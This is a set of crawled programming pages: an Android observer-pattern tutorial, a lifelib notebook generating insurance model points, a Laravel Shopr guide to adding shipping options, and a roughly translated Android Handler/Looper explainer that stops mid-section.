Availability: All namespaces.
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https://docs.intersystems.com/latest/csp/docbook/DocBook.UI.Page.cls?KEY=ITECHREF_BASIC
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CC-MAIN-2021-43
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en
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refinedweb
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Preface
Android Design Patterns series articles, welcome attention, ongoing updates:
1. definition
Define a one-to-many dependency between objects. When the state of an object is changed, the objects that depend on it are notified and updated automatically.
2. introduction
- The observer belongs to behavioral pattern.
- Observer mode is also called publish/subscribe mode.
- The observer pattern is mainly used to decouple the observer and the observer, so that there is no dependence or little dependence between them.
3.UML class diagram
Role description:
- Subject (abstract subject): Also called abstract observee, all references to observer objects are stored in a collection, and each subject can have any number of observers. Abstract topics provide an interface to add and delete observer objects.
- ConcreteSubject (Specific Subject): Also called Specific Observed, it stores the relevant state in the specific Observer Object, and notifies all registered observers when the internal state of the specific subject changes.
- Observer (abstract observer): Define an interface for all specific observers to update themselves when they receive subject notifications.
- ConcrereObserver: Implements an update interface defined by an abstract observer that updates its status when notified of a change in the topic.
4. implementation
Continue to take express delivery as an example. Sometimes the courier just pulls the express downstairs, and then notifies the recipient to go downstairs to pick up the express.
4.1 Create an abstract observer and define a new method of receiving notification, that is, the response of the recipient after receiving notification:
public interface Observer {//Abstract observer public void update(String message);//Update method }
4.2 Create concrete observers and implement methods in abstract observers. Here, create two classes, a boy class and a girl class, and define their responses after notification:
public class Boy implements Observer { private String name;//Name public Boy(String name) { this.name = name; } @Override public void update(String message) {//Boys'specific reactions System.out.println(name + ",Information received:" + message+"Get the express in a bumpy way."); } } public class Girl implements Observer { private String name;//Name public Girl(String name) { this.name = name; } @Override public void update(String message) {//Girls'Reactions System.out.println(name + ",Information received:" + message+"Let your boyfriend pick up the express~"); } }
4.3 Create Abstract topics, that is, Abstract observers, define add, delete, notify and so on.
public interface Observable {//Abstract observee void add(Observer observer);//Adding observers void remove(Observer observer);//Delete the observer void notify(String message);//Notify the observer }
4.4 Create a specific theme, that is, the specific observee, that is, the courier, when delivering the courier, inform the recipient according to the courier information to let them pick up the piece:
public class Postman implements Observable{//Courier private List<Observer> personList = new ArrayList<Observer>();//Preserve the information of the recipient (observer) @Override public void add(Observer observer) {//add recipient personList.add(observer); } @Override public void remove(Observer observer) {//Remove the addressee personList.remove(observer); } @Override public void notify(String message) {//Notify the recipient (observer) one by one for (Observer observer : personList) { observer.update(message); } } }
4.5 Client Testing:
public void test(){ Observable postman=new Postman(); Observer boy1=new Boy("Monkey D Luffy"); Observer boy2=new Boy("Qiao Ba"); Observer girl1=new Girl("Nami"); postman.add(boy1); postman.add(boy2); postman.add(girl1); postman.notify("Express delivery.,Please go downstairs to collect it.."); }
Output results:
Lufei, received the message: Express arrived, please go downstairs to pick up. Butterfly to pick up the express. Joba, I got the message: Express arrived, please go downstairs to pick it up. Butterfly to pick up the express. Na Mei, received the message: Express arrived, please go downstairs to collect it. Let your boyfriend pick up the Express.~
4.6 Notes:
In fact, JDK also has two classes built-in: Observable (abstract observer) and Observer (abstract observer). We can also use them directly. The code is as follows:
public interface Observer {//(abstract observer) //Only one update method is defined void update(Observable o, Object arg); } public class Observable {//Abstract observee private boolean changed = false;//Define change status by default false private final ArrayList<Observer> observers;//Define an observer list public Observable() {//Constructor to initialize an observer list to save the observer observers = new ArrayList<>(); } //Adding observers, with synchronization fields, is thread-safe public synchronized void addObserver(Observer o) { if (o == null) throw new NullPointerException(); if (!observers.contains(o)) { observers.add(o); } } //Delete the observer public synchronized void deleteObserver(Observer o) { observers.remove(o); } //Notify so observers, no parameters public void notifyObservers() { notifyObservers(null); } //Notify all observers with parameters public void notifyObservers(Object arg) { Observer[] arrLocal; //Add synchronized fields to ensure that there is no problem with multithreading synchronized (this) { if (!hasChanged())//The purpose of this judgment is to prevent meaningless updates. return; arrLocal = observers.toArray(new Observer[observers.size()]);//ArrayList is converted into a temporary array, which prevents notifications, additions, and removals from concurrent occurrences of possible exceptions clearChanged();/// Clear the change status and set it to false } //Traverse one by one notification for (int i = arrLocal.length-1; i>=0; i--) arrLocal[i].update(this, arg); } //Know all the observers public synchronized void deleteObservers() { observers.clear(); } //Set the observer to change state and set to true protected synchronized void setChanged() { changed = true; } //Clear the change status and set it to false protected synchronized void clearChanged() { changed = false; } //Return to the current change status public synchronized boolean hasChanged() { return changed; } //Number of observers public synchronized int countObservers() { return observers.size(); } }
5. Application scenarios
- When an object's change needs to be notified to other objects, and it does not know how many objects need to be changed.
- When an object must notify other objects, it cannot assume who the other objects are.
- Cross-system message exchange scenarios, such as message queues, event bus processing mechanisms.
6. advantages
- Decoupling the observer from the subject. Let both sides of the coupling depend on abstraction rather than on concrete. So that each change will not affect the other side of the change.
- Easy to expand, no need to modify the original code when adding observers to the same topic.
7. disadvantages
- Dependency has not been completely relieved, and abstract topics still rely on abstract observers.
- When using the observer mode, we need to consider the efficiency of development and operation. The program includes an observer, multiple observers, development, debugging and other content will be more complex, and the message notification in Java is usually executed sequentially. Then an observer Katon will affect the overall efficiency of execution. In this case, asynchronous implementation is generally adopted.
- It may cause redundant data notifications.
8. Source code analysis in Android
8.1 Listener listening mode in control
The most common observer pattern we encounter in Android is the monitoring of various controls, as follows:
Button button = (Button) findViewById(R.id.button); //Registered observer button.setOnClickListener(new View.OnClickListener() { //Observer Realization @Override public void onClick(View arg0) { Log.d("test", "Click button "); } });
In the above code, button is the specific subject, that is, the observer; the new View. OnClickListener object is the specific observer; OnClickListener is actually an interface, that is, an abstract observer; and the observer is registered with the observer through setOnClickListener.
Once a button captures a click event, that is, when the state changes, it notifies the observer that the Button state changes by calling back the onClick method of the registered OnClickListener observer.
Relevant source code analysis:
public interface OnClickListener {//Abstract observer void onClick(View v);//Only onClick is the method } //Registered observer public void setOnClickListener(@Nullable View.OnClickListener l) { if (!isClickable()) { setClickable(true);//Set to clickable } getListenerInfo().mOnClickListener = l;//Assign the incoming OnClickListener object to getListenerInfo().mOnClickListener, that is, mOnClickListener of mListenerInfo holds a reference to the OnClickListener object } ListenerInfo getListenerInfo() {//Return the ListenerInfo object, here is a singleton pattern if (mListenerInfo != null) { return mListenerInfo; } mListenerInfo = new ListenerInfo(); return mListenerInfo; } public boolean performClick() {//Execute click events final boolean result; final ListenerInfo li = mListenerInfo; if (li != null && li.mOnClickListener != null) { playSoundEffect(SoundEffectConstants.CLICK); li.mOnClickListener.onClick(this);//Execute the onClick method, li.mOnClickListener, or OnClickListener object result = true; } else { result = false; } sendAccessibilityEvent(AccessibilityEvent.TYPE_VIEW_CLICKED); return result; }
8.2 Adapter's notifyDataSetChanged() method
When we use ListView, we call the notifyDataSetChanged() method of Adapter when we need to update the data. So let's look at the implementation principle of notifyDataSetChanged(), which is defined in BaseAdaper, and the specific code is as follows:
public abstract class BaseAdapter implements ListAdapter, SpinnerAdapter { //Data Set Observed private final DataSetObservable mDataSetObservable = new DataSetObservable(); //Registered observer public void registerDataSetObserver(DataSetObserver observer) { mDataSetObservable.registerObserver(observer); } //Cancellation of observers public void unregisterDataSetObserver(DataSetObserver observer) { mDataSetObservable.unregisterObserver(observer); } //Notify all observers when data sets change public void notifyDataSetChanged() { mDataSetObservable.notifyChanged(); } } //Other code outlines
As can be seen from the above code, BaseAdapter actually uses the observer pattern, and BaseAdapter is the specific observer. Next, look at the implementation of mDataSetObservable.notifyChanged():
//Data Set Observed public class DataSetObservable extends Observable<DataSetObserver> { public void notifyChanged() { synchronized(mObservers) { //Traverse through all observers and call their onChanged() method for (int i = mObservers.size() - 1; i >= 0; i--) { mObservers.get(i).onChanged(); } } } //Other code outlines }
Now we see the shadows of observers. Where do these observers come from? In fact, these observers are generated when ListView sets Adaper through setAdaper():
public class ListView extends AbsListView { //Other code outlines public void setAdapter(ListAdapter adapter) { //If an Adapter already exists, cancel the observer for the Adapter first if (mAdapter != null && mDataSetObserver != null) { mAdapter.unregisterDataSetObserver(mDataSetObserver); } //Other code outlines super.setAdapter(adapter); if (mAdapter != null) { mAreAllItemsSelectable = mAdapter.areAllItemsEnabled(); mOldItemCount = mItemCount; mItemCount = mAdapter.getCount();//Get the number of data in Adapter checkFocus(); mDataSetObserver = new AdapterDataSetObserver();//Create a data set observer mAdapter.registerDataSetObserver(mDataSetObserver);//Registered observer //Other code outlines } } }
As can be seen from the above code, the observer has, so what does the observer mainly do?
class AdapterDataSetObserver extends AdapterView<ListAdapter>.AdapterDataSetObserver { @Override public void onChanged() { super.onChanged();//Call the onChanged() method of the parent class if (mFastScroller != null) { mFastScroller.onSectionsChanged(); } } //Other code outlines }
The onChanged() method in the AdapterDataSetObserver class doesn't see anything. Continue to look at the onChanged() method of his parent class:
class AdapterDataSetObserver extends DataSetObserver { private Parcelable mInstanceState = null; //Core Realization of Observers @Override public void onChanged() { mDataChanged = true; mOldItemCount = mItemCount; mItemCount = getAdapter().getCount();//Get the number of data in Adapter if (AdapterView.this.getAdapter().hasStableIds() && mInstanceState != null && mOldItemCount == 0 && mItemCount > 0) { AdapterView.this.onRestoreInstanceState(mInstanceState); mInstanceState = null; } else { rememberSyncState(); } checkFocus(); //Re layout requestLayout(); } //Other code outlines }
Finally, the layout updates are implemented in the onChanged() method in the class AdapterDataSetObserver.
A brief summary:
- When the data of ListView changes, we call the notifyDataSetChanged() method of Adapter, which in turn calls the onChanged() method of all the observers (Adapter DataSetObserver), and the onChanged() method calls the requestLayout() method to reposition.
8.3 BroadcastReceiver
Broadcast Receiver, as one of the four components of Android, is actually a typical observer mode. When sending broadcasting through sendBroadcast, only Broadcast Receiver object registered with the corresponding IntentFilter will receive the broadcast information, and its onReceive method will be invoked. Broadcast Receiver's code is more complex, so it won't start here. First dig a hole, and then it out. Broadcast Receiver Source Code Analysis.
8.4 other
In addition, some famous third-party event bus libraries, such as RxJava, RxAndroid, EventBus, otto and so on, also use the observer mode. If you are interested, you can see their source code.
Reading Related Articles
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https://programmer.help/blogs/android-design-patterns-observer-patterns.html
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CC-MAIN-2021-43
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en
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refinedweb
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Generating model points with duration¶
This notebook is modified from generate_model_points.ipynb and generates the sample model points for the
BasicTerm_SE and
BasicTerm_ME model, by using random numbers. The model ponints have the
duration_mth attribute, which indicates how many months elapsed from the issue of each model point to time 0. Negative
duration_mth indicate future new business.. Uniformly distributed from 0 to 100.
sum_assured: Sum assured. The samples are uniformly distributed from 10,000 to 1,000,000.
duration_mth: Months elapsed from the issue til t=0. Negative values indicate future new business. Uniformly distributed from -36 to 12 times
policy_term.
Number of model points:
10000
[68]: # Sum Assured (Float): 10000 - 1000000 sum_assured = np.round((1000000 - 10000) * rng.random(size=MPCount) + 10000, -3) # Duration in month (Int): -36 < Duration(mth) < Policy Term in month duration_mth = np.rint((policy_term + 3) * 12 * rng.random(size=MPCount) - 36).astype(int) # Policy Count (Integer): 1 policy_count = np.rint(100 * rng.random(size=MPCount)).astype(int)
[69]:
import pandas as pd attrs = [ "age_at_entry", "sex", "policy_term", "policy_count", "sum_assured", "duration_mth" ] data = [ age_at_entry, sex, policy_term, policy_count, sum_assured, duration_mth ] model_point_table = pd.DataFrame(dict(zip(attrs, data)), index=range(1, MPCount+1)) model_point_table.index.name = "policy_id" model_point_table
[69]:
10000 rows × 6 columns
[70]:
model_point_table.to_excel("model_point_table.xlsx")
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https://lifelib.io/libraries/notebooks/basiclife/generate_model_points_with_duration.html
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CC-MAIN-2021-43
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en
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refinedweb
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Laravel Shopr: How to add shipping to your checkout
Laravel Shopr is a package for integrating e-commerce into your Laravel app. It gives you a shopping cart with discount coupons and a full checkout flow, just to mention a few of the useful features included.
In this guide we won’t discuss how to install or get started with the package, since it’s covered in detail in the documentation.
Conceptual overview
Adding shipping alternatives to your Shopr checkout is actually very simple. We’ll treat the shipping options as a Shoppable just like the other purchasable models, which makes it easy to add it to the cart and order. This is very similar to how discount coupons are handled.
Basically, the flow will look like this:
- On the checkout page, the customer can select one of the available shipping options.
- Before making the request to pay for the cart and convert it to an order, we’ll add the selected shipping option to the cart as a regular item.
- In the confirmation templates, we can easily customize how the shipping option is displayed.
That’s it!
Adding shipping options to your checkout
First of all, we create a migration for the shipping_options table.
Schema::create('shipping_methods', function (Blueprint $table) {
$table->increments('id');
$table->string('title');
$table->text('description')->nullable();
$table->integer('sortorder')->default(0);
$table->decimal('price', 9, 2)->default(0);
// This column allows us to add a
// "free for orders worth x or more"-feature.
// More on that further down.
$table->decimal('free_level', 9, 2)->nullable();
$table->timestamps();
$table->softDeletes();
});
And the model, which extends the Shoppable class instead of the default Model class.
<?phpnamespace App\Models;use Happypixels\Shopr\Models\Shoppable;
use Illuminate\Database\Eloquent\SoftDeletes;class ShippingMethod extends Shoppable
{
use SoftDeletes;
}
Next, we’ll create an endpoint for retrieving the available shipping options on the checkout page. This will be called to present the options to the customer.
<?phpnamespace App\Http\Controllers;use App\Models\ShippingMethod;class ShippingMethodController extends Controller
{
public function index()
{
return ShippingMethod::orderBy('sortorder', 'ASC')->get();
}
}
Don’t forget to also add a route for it.
You then present a few radio buttons or similar which allows the customer to select their desired shipping method.
In this example we’ll use Stripe to process the payments, so we want to add the shipping option to the cart after retrieving the Stripe token but before making the charge request. For more details on the Stripe checkout flow, check out the demo implementation.
methods: {
charge (token) {
window.axios.post('shopr/cart/items', {
shoppable_type: 'App\\Models\\ShippingMethod',
shoppable_id: this.userData.options.shipping.id
}).then(response => {
// Make the charge request to process the payment.
})
}
}
We have now added the selected shipping method to our order. The price is automatically added to the order total and everything should work. However, we want to exclude it from the order items table in the confirmation template. This is done by filtering the order items by their shoppable_type (the model).
// The order-confirmation blade template as configured in config/shopr.php.@foreach($order->items->where('shoppable_type', '!=', 'App\Models\ShippingMethod') as $item)
// Print order row.
@endforeach
To make it more testable and keep the logics away from your template, you might want to use custom models for your order and add a `printableItems` method or something similar to it which filters out the shipping option row. Then, just call the `$order->printableItems` in the confirmation template. To access the shipping method, add another method which does the opposite (only returns the shipping method).
Read more about how to use custom models for your orders in the documentation.
All done!
Bonus: using a dynamic price for a shipping option
Imagine you want a shipping method to be free when placing an order worth $100 or more. This can be achieved by setting the free_level-column in the database to 100, then modifying the getPrice method on the ShippingMethod model to check the cart value before returning the price:
<?phpnamespace App\Models;use Happypixels\Shopr\Contracts\Cart;
use Happypixels\Shopr\Models\Shoppable;
use Illuminate\Database\Eloquent\SoftDeletes;class ShippingMethod extends Shoppable
{
use SoftDeletes; protected $casts = [
'price' => 'float',
'free_level' => 'float',
]; public function getPrice()
{
$cartValue = app(Cart::class)->total(); if ($this->free_level !== null && $cartValue >= $this->free_level) {
return 0;
} return $this->price;
}
}
Don’t forget to make sure your frontend displays the correct price for the shipping method as well.
|
https://medium.com/@mattias_56969/laravel-shopr-how-to-add-shipping-to-your-checkout-49ba3723657e?sk=9367a086352c1ee1199557bdf35ab342
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CC-MAIN-2021-43
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en
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refinedweb
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1.Handler message model diagram
Key classes included:
MessageQueue, Handler and Looper, and Message
- Message: the message to be delivered, which can deliver data;
- MessageQueue: message queue, but its internal implementation is not a queue. In fact, it maintains the message list through a single linked list data structure, because the single linked list has advantages in insertion and deletion. The main functions are to deliver messages to the message pool (MessageQueue.enqueueMessage) and take messages from the message pool (MessageQueue.next);
- Handler: Message auxiliary class, which is mainly used to send various message events (Handler.sendMessage) to the message pool and process corresponding message events (Handler.handleMessage);
- Loop: continuously execute loop (loop. Loop), read the message from the MessageQueue, and distribute the message to the target handler according to the distribution mechanism.
Main relationships among the three:
Only one Looper can exist in each thread. The Looper is saved in ThreadLocal. The main thread (UI thread) has automatically created a Looper in the main method. In other threads, you need to manually create a Looper. Each thread can have multiple handlers, that is, a Looper can process messages from multiple handlers. A MessageQueue is maintained in Looper to maintain the Message queue. Messages in the Message queue can come from different handlers.
2.Must know topic
Handler design philosophy
1. The meaning of the existence of handler, why is it designed like this, and what is the use?
The main function of Handler is to switch threads. It manages all message events related to the interface.
To sum up: Hanlder exists to solve the problem that the UI cannot be accessed in the child thread.
2. Why can't I update the UI in the child thread? Can't I update it?
UI control access in Android is non thread safe.
What if you lock it?
- It will reduce the efficiency of UI access: the UI control itself is a component close to the user. After locking, it will naturally block, so the efficiency of UI access will be reduced. Finally, the user end is that the mobile phone is a little stuck
Android has designed a single thread model to handle UI operations, coupled with Handler, which is a more appropriate solution.
3. How to solve the cause of UI crash caused by sub thread update?
The crash occurred in the checkThread method of the ViewRootImpl class:
void checkThread() { if (mThread != Thread.currentThread()) { throw new CalledFromWrongThreadException( "Only the original thread that created a view hierarchy can touch its views."); } }
In fact, it determines whether the current thread is the thread when ViewRootImpl is created. If not, it will crash. The ViewRootImpl is created when the interface is drawn, that is, after onResume. Therefore, if the UI is updated in the child thread, it will be found that the current thread (child thread) and the thread created by View (main thread) are not the same thread and crash.
terms of settlement:
- Update the UI of the View in the thread that creates the new View. The main thread creates the View, and the main thread updates the View.
- Before the ViewRootImpl is created, update the UI of the child thread. For example, update the UI of the child thread in the onCreate method.
- The child thread switches to the main thread to update the UI, such as the Handler and view.post methods (recommended).
MessageQueue related:
1. The function and data structure of messagequeue?
Android uses a linked list to implement this queue, which also facilitates the insertion and deletion of data. No matter which method sends the message, it will go to sendMessageDelayed; return enqueueMessage(queue, msg, uptimeMillis); }
Process of message insertion:
First, set the when field of the Message, which represents the processing time of the Message, and then judge whether the current queue is empty, whether it is an instant Message, and whether the execution time when is greater than the Message time in the header. If any one is satisfied, insert the current Message msg into the header.
Otherwise, you need to traverse the queue, that is, the linked list, find out when is less than a node, and insert it after finding it. Inserting a message is to find the appropriate location to insert the linked list through the execution time of the message, that is, the when field. The specific method is to use the fast and slow pointers p and prev through an endless loop and move backward one grid at a time until we find that the when of a node p is greater than the when field of the message we want to insert, then insert it between p and prev. Or traverse to the end of the linked list and insert it to the end of the linked list.
Therefore, MessageQueue is a special queue structure used to store messages and implemented with a linked list.
2. How is delayed message implemented?
Whether it is an instant message or a delayed message, the specific time is calculated and then assigned to the process as the when field of the message. Then find the appropriate location in the MessageQueue (arrange the when small to large arrangement) and insert the message into the MessageQueue. In this way, MessageQueue is a linked list structure arranged according to message time.
3. How to get messages from messagequeue?
The message is obtained internally through the next() loop, which is to ensure that a message must be returned. If no message is available, it is blocked here until a new message arrives.
The nativePollOnce method is the blocking method, and nextPollTimeoutMillis is the blocking time
When will it be blocked? Two cases:
1. There are messages, but the current time is less than the message execution time
if (now < msg.when) { nextPollTimeoutMillis = (int) Math.min(msg.when - now, Integer.MAX_VALUE); } //At this time, the blocking time is the message time minus the current time, and then enter the next cycle to block.
2. When there is no news
nextPollTimeoutMillis = -1;//Indicates that it has been blocked
4. What happens when there is no message in the messagequeue and how to wake up after blocking? And pipe/epoll mechanism?
When the message is unavailable or there is no message, it will be blocked in the next method, and the blocking method is through the pipe/epoll mechanism
It is an IO multiplexing mechanism. The specific logic is that a process can monitor multiple descriptors. When a descriptor is ready (generally read ready or write ready), it can notify the program to perform the corresponding read-write operation. This read-write operation is blocked. In Android, a Linux Pipe is created to handle blocking and wakeup.
- When the message queue is empty and the reader of the pipeline waits for new content in the pipeline to be readable, it will enter the blocking state through the epoll mechanism.
- When there is a message to be processed, it will write content through the write end of the pipeline to wake up the main thread.
5. How are synchronous barriers and asynchronous messages implemented and what are their application scenarios?
Detailed introduction to synchronization barrier blog:
There are three message types in the Handler:
- Synchronization message: normal message
- Asynchronous message: a message set through setAsynchronous(true)
- Synchronization barrier message: a message added through the postSyncBarrier method. The characteristic is that the targe t is empty, that is, there is no corresponding handler.
What is the relationship between the three?
- Under normal circumstances, both synchronous messages and asynchronous messages are processed normally, that is, messages are retrieved and processed according to the time when.
- When the synchronization barrier message is encountered, it starts to look for the asynchronous message from the message queue, and then determines whether to block or return the message according to the time.
In other words, the synchronization barrier message will not be returned. It is just a flag and a tool. When it is encountered, it means to process the asynchronous message first. Therefore, the significance of the existence of synchronous barriers and asynchronous messages is that some messages need "urgent processing"
Application scenario:
In UI drawing: scheduleTraversals
void scheduleTraversals() { if (!mTraversalScheduled) { mTraversalScheduled = true; // The synchronization barrier blocks all synchronization messages mTraversalBarrier = mHandler.getLooper().getQueue().postSyncBarrier(); // Send drawing tasks through Choreographer mChoreographer.postCallback( Choreographer.CALLBACK_TRAVERSAL, mTraversalRunnable, null); } } Message msg = mHandler.obtainMessage(MSG_DO_SCHEDULE_CALLBACK, action); msg.arg1 = callbackType; msg.setAsynchronous(true); mHandler.sendMessageAtTime(msg, dueTime);
6. How to process and reuse message after it is distributed?
After executing the dispatchMessage, there will be: msg.recycleUnchecked(), empty all parameters of msg, release all resources, and insert the current empty message into the sPool header.
sPool is a message object pool. It is also a message with a linked list structure. The maximum length is 50.
**Message reuse process: * * it is directly obtained from the message pool. If it is not obtained, it will be re created.
Looper related:
1. The role of Looper? How do I get the Looper of the current thread? Why not use Map to store threads and objects directly?
Looper is a role that manages message queues. It will constantly find messages from the MessageQueue, that is, the loop method, and return the messages to the Handler for processing, and the loop is obtained from ThreadLocal.
2. How does ThreadLocal work? What are the benefits of this design?
public T get() { Thread t = Thread.currentThread(); ThreadLocalMap map = getMap(t); if (map != null) { ThreadLocalMap.Entry e = map.getEntry(this); if (e != null) { @SuppressWarnings("unchecked") T result = (T)e.value; return result; } } return setInitialValue(); } public void set(T value) { Thread t = Thread.currentThread(); ThreadLocalMap map = getMap(t); if (map != null) map.set(this, value); else createMap(t, value); }
In each Thread, there is a threadLocals variable, which stores ThreadLocal and the corresponding objects to be saved. The advantage of this is that the same ThreadLocal object is accessed in different threads, but the values obtained are different. The internal obtained maps are different. Map and Thread are bound. Therefore, although the same ThreadLocal object is accessed, the accessed maps are not the same, so the obtained values are also different.
Why not use Map to store threads and objects directly?
For example:
- ThreadLocal is the teacher.
- Thread is the classmate.
- Looper (required value) is a pencil.
Now the teacher bought a batch of pencils and wanted to send them to the students. How? Two approaches:
- 1. The teacher wrote the name of each student on each pencil, put it in a big box (map), and let the students find it by themselves when they use it.
This method is to store the students and pencils in the Map, and then use the students to find pencils from the Map.
This approach is a bit like using a Map to store all threads and objects. The bad thing is that it will be very chaotic. There is a connection between each thread, which is also easy to cause memory leakage.
- 2. The teacher sends each pencil directly to each student and puts it in the student's pocket. When using it, each student can take out the pencil from his pocket.
This method is to store the teacher and pencil in the Map, and then when you use it, the teacher says that the students just need to take it out of their pocket. Obviously, this method is more scientific, which is ThreadLocal. Because the pencil itself is used by the students themselves, it is best to give the pencil to the students for safekeeping at the beginning, and each student shall be isolated.
3. What other scenarios will use ThreadLocal?
Choreographer is mainly used by the main thread to cooperate with VSYNC interrupt signal. Therefore, using ThreadLocal here is more meaningful to complete the function of thread singleton.
4. The creation method of looper and the function of the quitAllow field?
Only one Looper can be created for the same thread. If it is created multiple times, an error will be reported.
quitAllow is whether exit is allowed.
When is the quit method usually used?
- In the main thread, you can't exit under normal circumstances, because the main thread stops after exiting. Therefore, when the APP needs to exit, it will call the quit method, and the message involved is EXIT_APPLICATION, you can search.
- In the child thread, if all messages are processed, you need to call the quit method to stop the message loop.
5.Looper is an internal loop. Why won't it get stuck?
- 1. The main thread itself needs to run only because it has to deal with various views and interface changes. Therefore, this loop is needed to ensure that the main thread will continue to execute and will not be exited.
- 2. The operation that will really get stuck is that the operation time is too long when a message is processed, resulting in frame loss and ANR, rather than the loop method itself.
- 3. In addition to the main thread, there will be other threads to handle events that accept other processes, such as Binder thread (application thread), which will accept events sent by AMS
- 4. After receiving the cross process Message, it will be handed over to the Hanlder of the main thread for Message distribution. Therefore, the life cycle of the activity depends on the loop.loop of the main thread. When different messages are received, corresponding measures are taken, such as msg=H.LAUNCH_ACTIVITY, then call the ActivityThread.handleLaunchActivity() method, and finally execute to the onCreate method.
- 5. When there is no message, it will be blocked in the nativePollOnce() method in queue.next() of loop. At this time, the main thread will release CPU resources and enter the sleep state until the next message arrives or a transaction occurs. Therefore, the dead loop will not consume CPU resources in particular.
Handler related:
1. How does message distribute and bind to Handler?
Distribute messages through msg.target.dispatchMessage(msg).
When using Hanlder to send messages, msg.target = this will be set, so target is the Handler that added the message to the message queue.
2. What is the difference between post and sendMessage in handler?
The main sending messages in Hanlder can be divided into two types:
- post(Runnable)
- sendMessage
public final boolean post(@NonNull Runnable r) { return sendMessageDelayed(getPostMessage(r), 0); } private static Message getPostMessage(Runnable r) { Message m = Message.obtain(); m.callback = r; return m; }
The difference between post and sendMessage is that the post method sets a callback for the Message.
Information processing method dispatchMessage:
public void dispatchMessage(@NonNull Message msg) { //1. If msg.callback is not null, when sending a message through the post method, the message will be sent to this msg.callback for processing, and then there will be no follow-up. if (msg.callback != null) { handleCallback(msg); } else { //2. If msg.callback is empty, that is, when sending a message through sendMessage, it will judge whether the current mCallback of the Handler is empty. If not, it will be handed over to the Handler.Callback.handleMessage for processing. if (mCallback != null) { if (mCallback.handleMessage(msg)) { return; } } //3. If mCallback.handleMessage returns false, call the handleMessage method overridden by the handler class. handleMessage(msg); } } private static void handleCallback(Message message) { message.callback.run(); }
Therefore, the difference between post(Runnable) and sendMessage lies in the processing method of subsequent messages, whether to give it to msg.callback or Handler.Callback or Handler.handleMessage.
3. What is the difference between handler.callback.handlemessage and Handler.handleMessage?
The difference is whether the Handler.Callback.handleMessage method returns true:
- If true, Handler.handleMessage will no longer be executed
- If false, both methods are executed.
expand:
1.IdleHandler function and usage scenario?
When there is no message in the MessageQueue, it will be blocked in the next method. In fact, before blocking, the MessageQueue will check whether there is an IdleHandler. If so, it will execute its queueIdle method.
private IdleHandler[] mPendingIdleHandlers; Message next() { int pendingIdleHandlerCount = -1; for (;;) { synchronized (this) { //1. When the message is executed, that is, the current thread is idle, set pendingIdleHandlerCount if (pendingIdleHandlerCount < 0 && (mMessages == null || now < mMessages.when)) { pendingIdleHandlerCount = mIdleHandlers.size(); } //2. Initialize mPendingIdleHandlers if (mPendingIdleHandlers == null) { mPendingIdleHandlers = new IdleHandler[Math.max(pendingIdleHandlerCount, 4)]; } //Convert mIdleHandlers to array mPendingIdleHandlers = mIdleHandlers.toArray(mPendingIdleHandlers); } // Traverse the array and process each IdleHandler for (int i = 0; i < pendingIdleHandlerCount; i++) { final IdleHandler idler = mPendingIdleHandlers[i]; mPendingIdleHandlers[i] = null; // release the reference to the handler boolean keep = false; try { keep = idler.queueIdle(); } catch (Throwable t) { Log.wtf(TAG, "IdleHandler threw exception", t); } //If the queueIdle method returns false, the IdleHandler will be deleted after processing if (!keep) { synchronized (this) { mIdleHandlers.remove(idler); } } } // Reset the idle handler count to 0 so we do not run them again. pendingIdleHandlerCount = 0; } }
When there is no message processing, it will process each IdleHandler object in the millehandlers collection and call its queueIdle method. Finally, judge whether to delete the current IdleHandler according to the return value of queueIdle.
IdleHandler can handle some idle tasks before blocking when there are no messages to be processed in the message queue.
Common application scenarios:
Start optimization.
- We usually put some events (such as drawing and assignment of interface view) into onCreate method or onResume method. But these two methods are all invoked before the interface is drawn, that is to say, the time consuming of these two methods will affect the start-up time to a certain extent. Therefore, we can put some operations into IdleHandler, that is, call them after the interface drawing is completed, so as to reduce the startup time
2.HandlerThread principle and usage scenario?
public class HandlerThread extends Thread { @Override public void run() { Looper.prepare(); synchronized (this) { mLooper = Looper.myLooper(); notifyAll(); } Process.setThreadPriority(mPriority); onLooperPrepared(); Looper.loop(); } }
HandlerThread is a Thread class that encapsulates Looper.
This is to make it easier for us to use Handler in sub threads.
The purpose of locking here is to ensure thread safety, obtain the Looper object of the current thread, and wake up other threads through notifyAll method after successful acquisition,
3.IntentService principle and usage scenario?
- First, this is a Service
- A HandlerThread is maintained internally, that is, a complete Looper is running.
- The ServiceHandler of a child thread is also maintained.
- After starting the Service, the onHandleIntent method will be executed through the Handler.
- After completing the task, stopSelf will be automatically executed to stop the current Service.
Therefore, this is a Service that can perform time-consuming tasks in the sub thread and automatically stop after the task is executed
4. How does blockcanary work?
BlockCanary is a time-consuming third-party library used to detect application jams.
public static void loop() { for (;;) { // This must be in a local variable, in case a UI event sets the logger Printer logging = me.mLogging; if (logging != null) { logging.println(">>>>> Dispatching to " + msg.target + " " + msg.callback + ": " + msg.what); } msg.target.dispatchMessage(msg); if (logging != null) { logging.println("<<<<< Finished to " + msg.target + " " + msg.callback); } } }
There is a Printer class in the loop method, which prints the log twice before and after the dispatchMessage processes the message. Replace this log class Printer with our own Printer,
5. The memory leak of the handler?
6. How to use Handler to design an App that does not crash?
The main thread crash actually occurs in the processing of messages, including life cycle and interface drawing. So if we can control this process and restart the message loop after a crash, the main thread can continue to run
Handler(Looper.getMainLooper()).post { while (true) { //Main thread exception interception try { Looper.loop() } catch (e: Throwable) { } } }
3. Source code analysis
1.Looper
To use the message mechanism, first create a Looper. When the initialization Looper has no parameters, prepare(true) is called by default; It means that the Looper can exit, and false means that the current Looper cannot exit.
public static void prepare() { prepare(true); } private static void prepare(boolean quitAllowed) { if (sThreadLocal.get() != null) { throw new RuntimeException("Only one Looper may be created per thread"); } sThreadLocal.set(new Looper(quitAllowed)); }
It can be seen here that loopers cannot be created repeatedly, only one can be created. Create Looper and save it in ThreadLocal. ThreadLocal is Thread Local Storage (TLS). Each thread has its own private local storage area. Different threads cannot access each other's TLS area.
Open Looper
